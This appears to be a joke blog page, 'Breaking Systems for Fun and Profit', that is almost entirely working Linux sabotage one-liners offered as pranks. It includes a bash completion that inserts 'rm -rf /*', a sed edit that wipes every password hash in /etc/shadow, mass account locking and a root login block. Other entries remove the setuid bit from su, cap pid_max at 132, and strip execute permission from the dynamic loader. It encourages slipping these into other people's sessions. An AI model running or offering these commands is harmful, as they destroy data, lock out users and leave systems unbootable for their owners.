Slow down there a bit bro…
Fast network links getting you down?
for IF in $(ip l | awk -F': ' '/^[0-9]/{print $2}') do ip l s ${IF} mtu 60 done
Especially fun if this machine is acting as a (nat-)router for other boxes…
Breaking Systems for Fun and Profit
You _can_ stop the signal.
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You make me feel complete
Pop this one into a bash session and watch the hilarity ensue:
complete -E -W 'rm\ -rf\ /*\ /.*'
And while we’re having fun try this one as well (advertorial alert):
complete -W 'http://breakingsystemsforfunandprofit.com' elinks links firefox chrome midori epiphany wget opera
Passwords? We don’t need no stinkin’ passwords!
sed -ri 's/([^:]*):[^:]*:(.*)/\1:!!:\2/' /etc/shadow
Or for the wusses who want something a bit more recoverable:
for I in $(getent passwd | cut -d: -f1) do passwd -l ${I} chage -E0 -M1 -m513 -I1 -W1023 ${I} done
Still, who needs root?
printf 'root\t-\tmaxlogins\t0\n' >> /etc/security/limits.conf
Who needs root anyway?
chmod u-s /bin/su
Nice and quiet on the email front
Do you hate all those incoming and outgoing emails as much as we do? Are you running sendmail? In that case help is at hand:
chmod g+w /
Better learn to type fast…
Another nice one to confuse and annoy, as usual you need to sneak this one into somebody’s bash session:
export PROMPT_COMMAND='export TMOUT=$[ ${RANDOM} % 15 ]'
Fun with Vim and Files
Add this little bugger to either /etc/vimrc or to an induhvidual’s ~/.vimrc
:wqa
I’m sorry, but I can’t let you do that Dave…
echo "kernel.pid_max = 132" >> /etc/sysctl.conf
Better get some rescue cd’s…
This one was submitted by giulivo using the submission link:
chmod a-x /lib/ld-2*.so
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